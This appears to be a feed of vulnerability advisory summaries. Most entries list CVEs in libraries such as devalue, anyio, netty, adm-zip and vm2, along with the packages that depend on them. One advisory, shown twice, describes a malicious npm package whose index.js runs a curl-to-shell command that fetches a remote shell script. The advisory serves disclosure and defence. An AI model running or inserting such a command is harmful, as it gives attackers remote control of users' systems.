@agent-harness-experimental/workflow (>=0.0.1, <=0.0.5), @ai_kit/workflow-world (>=0.1.0, <=0.2.0) +134 more potentially affected by CVE-2026-92708 via devalue (>=5.1.1, <=5.9.2)

devalue NPM version =5.1.1, =0.0.1, =0.1.0, =6.1.0, =6.1.0, =7.0.0, =6.1.0, =0.3.0, =0.0.0-dev.20251108074143, =4.2.3, =3.8.8, =3.8.8, =3.8.7, =3.8.7, =0.1.1, =4.3.15, =4.3.33 and more Source cves: CVE-2026-92708 Source advisory: SNYK:JS-DEVALUE-20044498...

Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

MAL-2026-16294 Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

ai.catboost:catboost-spark_4.1_2.13 (1.2.10), ai.fastllm:agent-bridge_3 (>=0.3.0, <=0.5.7) +6412 more potentially affected by CVE-2026-93574 via io.netty:netty-codec-http (>=4.2.0.alpha1, <=4.2.17.final)

io.netty:netty-codec-http MAVEN version =4.2.0.alpha1, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.1.0, =0.1.0, =4.13.5, =4.9.0, =4.9.0, =4.5.0, =4.6.0 and more Source cves: CVE-2026-93574 Source advisory: MEND:CVE-2026-93574...

@2109-t5/server (>=1.0.0, <=1.0.9), @accounter/green-invoice-graphql (>=0.7.2-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, <=0.7.3-alpha-20250224164805-3a96c9f8d619656e3b6a8c0d26319b937adbafe6) +276 more potentially affected by CVE-2026-93748 via http-cache-semantics (>=4.0.3, <=4.2.0)

http-cache-semantics NPM version =4.0.3, =1.0.0, =0.7.2-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, =0.2.3-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, =0.2.3-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, =15.0.0, =1.1.3, =1.1.0, =3.0.0,...

@anchrd/intel (>=0.59.0, <=0.125.0), @anchrd/intel-ui (>=0.41.0, <=0.57.0) +13 more potentially affected by CVE-2026-91127 via @file-viewer/doc (>=2.1.23, <=2.3.0)

@file-viewer/doc NPM version =2.1.23, =0.59.0, =0.41.0, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =0.1.0, =0.9.0-beta.25, =1.0.3 Source cves: CVE-2026-91127 Source advisory: GHSA-3753-M2X2-Q623...

0g-aura (>=0.1.0, <=0.4.31), 0g-kit (>=1.0.0, <=1.0.9) +16353 more potentially affected by CVE-2026-77301 via adm-zip (>=0.1.4, <=0.6.0)

adm-zip NPM version =0.1.4, =0.1.0, =1.0.0, =0.1.0, =0.2.9, =3.0.0-rc.0, =1.125.0, =1.2.2, =1.0.0, =1.0.0, =1.0.1, =1.0.10 and more Source cves: CVE-2026-77301 Source advisory: GHSA-7Q85-XJ36-VMFC...

0g-aura (>=0.1.0, <=0.4.31), 0g-kit (>=1.0.0, <=1.0.9) +16353 more potentially affected by CVE-2026-77301 via adm-zip (>=0.1.4, <=0.6.0)

adm-zip NPM version =0.1.4, =0.1.0, =1.0.0, =0.1.0, =0.2.9, =3.0.0-rc.0, =1.125.0, =1.2.2, =1.0.0, =1.0.0, =1.0.1, =1.0.10 and more Source cves: CVE-2026-77301 Source advisory: SNYK:JS-ADMZIP-19963965...

aindy-runtime (>=1.5.0, <=1.11.0), amarcord (>=1.5.0, <=1.5.2) +23 more potentially affected by CVE-2026-63349 via anyio (>=4.14.0, <=4.14.1)

anyio PYPI version =4.14.0, =1.5.0, =1.5.0, =0.0.3, =1.8.0, =0.10.2, =0.1.4, =2.19.0, =1.3.1, =0.1.1, =0.1.0, =0.0.1a1, =1.0.0a1, =0.0.1a1, =1.0.0 and more Source cves: CVE-2026-63349 Source advisory: SNYK:PYTHON-ANYIO-19958322...

accomate (>=2.0.0a0, <=2.0.0.6), asyncrepo (>=0.0.6, <=0.0.9) +15 more potentially affected by CVE-2026-63374 via anyio (3.6.1)

anyio PYPI version 3.6.1 is affected by a known vulnerability. The following packages have a transitive dependency on anyio and may be impacted: - accomate =2.0.0a0, =0.0.6, =0.1.0, =1.2.3, =0.0.6, =1.0.0, =1.0.0, =0.3.8, =0.3.20, =0.0.4, =0.3.5.dev2659611866, =0.2.0, =1.5.0 and more Source cves:...

aiojarm (>=0.2.0, <=0.2.1), aiometer (>=0.1.0, <=0.2.1) +11 more potentially affected by CVE-2026-63374 via anyio (1.4.0)

anyio PYPI version 1.4.0 is affected by a known vulnerability. The following packages have a transitive dependency on anyio and may be impacted: - aiojarm =0.2.0, =0.1.0, =0.2.0, =0.2.0rc1, =0.1.3, =0.0.15, =0.0.2, =0.1.3, =0.4.1, =0.6.1 - roboto-telegram 0.3.0 - runnel 0.1.0a1 - sitemaps 0.1.0...

5mghost-rover (>=0.0.1, <=0.0.3), aaaai (>=0.1.3, <=0.3.0) +856 more potentially affected by CVE-2026-63374 via anyio (>=4.0.0rc1, <=4.14.1)

anyio PYPI version =4.0.0rc1, =0.0.1, =0.1.3, =0.6.0, =0.0.32, =0.0.1, =4.8.2, =0.1.3, =0.1.0, =0.4.0, =0.1.1, =0.1.0, =0.1.31, =0.1.0, =0.0.2, =0.4.0rc1, =0.7.1 and more Source cves: CVE-2026-63374 Source advisory: OSV:GHSA-82R6-8W77-94W6...

aio-net-events (0.2.0), aio-usb-hotplug (>=2.0.0, <=3.0.1) +11 more potentially affected by CVE-2026-63374 via anyio (2.2.0)

anyio PYPI version 2.2.0 is affected by a known vulnerability. The following packages have a transitive dependency on anyio and may be impacted: - aio-net-events 0.2.0 - aio-usb-hotplug =2.0.0, =0.9.1, =0.6.0, =0.1.0, =1.6.3, =0.0.1, =3.0.0, =0.1.0, =0.2.0 Source cves: CVE-2026-63374 Source...

fennel (0.3.0), runnel (>=0.1.0a2, <=0.1.0b1) +1 more potentially affected by CVE-2026-64847 via anyio (3.0.0rc4)

anyio PYPI version 3.0.0rc4 is affected by a known vulnerability. The following packages have a transitive dependency on anyio and may be impacted: - fennel 0.3.0 - runnel =0.1.0a2, =0.8.0, =0.13.0 Source cves: CVE-2026-64847 Source advisory: OSV:GHSA-5P39-CFHJ-2XMP...

ircrobots (>=0.2.4, <=0.3.5) potentially affected by CVE-2026-64847 via anyio (1.3.0)

anyio PYPI version 1.3.0 is affected by a known vulnerability. The following packages have a transitive dependency on anyio and may be impacted: - ircrobots =0.2.4, =0.3.5 Source cves: CVE-2026-64847 Source advisory: OSV:GHSA-5P39-CFHJ-2XMP...

omniblack-model (>=0.1.1, <=0.1.4.post5) potentially affected by CVE-2026-64847 via anyio (3.0.0)

anyio PYPI version 3.0.0 is affected by a known vulnerability. The following packages have a transitive dependency on anyio and may be impacted: - omniblack-model =0.1.1, =0.1.4.post5 Source cves: CVE-2026-64847 Source advisory: OSV:GHSA-5P39-CFHJ-2XMP...

ai.catboost:catboost-spark_4.1_2.13 (1.2.10), ai.fastllm:agent-bridge_3 (>=0.3.0, <=0.5.7) +5676 more potentially affected by CVE-2026-93579 via io.netty:netty-codec-http2 (>=4.2.0.final, <=4.2.17.final)

io.netty:netty-codec-http2 MAVEN version =4.2.0.final, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.1.0, =0.1.0, =4.13.5, =4.9.0, =4.9.0, =4.5.0, =4.6.0 and more Source cves: CVE-2026-93579 Source advisory: MEND:CVE-2026-93579...

@accordproject/cicero-cli (>=0.3.4, <=0.24.1-20231019080841), @accordproject/cicero-core (>=0.12.5-20190619040852, <=0.24.1-20230627140514) +287 more potentially affected by CVE-2026-93604 via vm2 (>=3.0.0, <=3.11.6)

vm2 NPM version =3.0.0, =0.3.4, =0.12.5-20190619040852, =0.3.12-20180525105709, =0.3.4, =0.11.2-20190326183124, =0.22.2-20210714131804, =0.0.51-20180524154814, =0.0.51-20180524154814, =0.7.4-20190326150718, =2.0.0-rc.8.0.29, =0.1.0, =2.1.1, =0.1.1, =1.0.0, =1.4.0 and more Source cves:...

@accordproject/cicero-cli (>=0.3.4, <=0.24.1-20231019080841), @accordproject/cicero-core (>=0.12.5-20190619040852, <=0.24.1-20230627140514) +287 more potentially affected by CVE-2026-93605 via vm2 (>=3.0.0, <=3.11.6)

vm2 NPM version =3.0.0, =0.3.4, =0.12.5-20190619040852, =0.3.12-20180525105709, =0.3.4, =0.11.2-20190326183124, =0.22.2-20210714131804, =0.0.51-20180524154814, =0.0.51-20180524154814, =0.7.4-20190326150718, =2.0.0-rc.8.0.29, =0.1.0, =2.1.1, =0.1.1, =1.0.0, =1.4.0 and more Source cves:...

org.xwiki.rendering:xwiki-rendering-macro-html (6.4.4), org.xwiki.rendering:xwiki-rendering-standalone (6.4.4) +11 more potentially affected by CVE-2025-53837 via org.xwiki.rendering:xwiki-rendering-xml (6.4.4)

org.xwiki.rendering:xwiki-rendering-xml MAVEN version 6.4.4 is affected by a known vulnerability. The following packages have a transitive dependency on org.xwiki.rendering:xwiki-rendering-xml and may be impacted: - org.xwiki.rendering:xwiki-rendering-macro-html 6.4.4 -...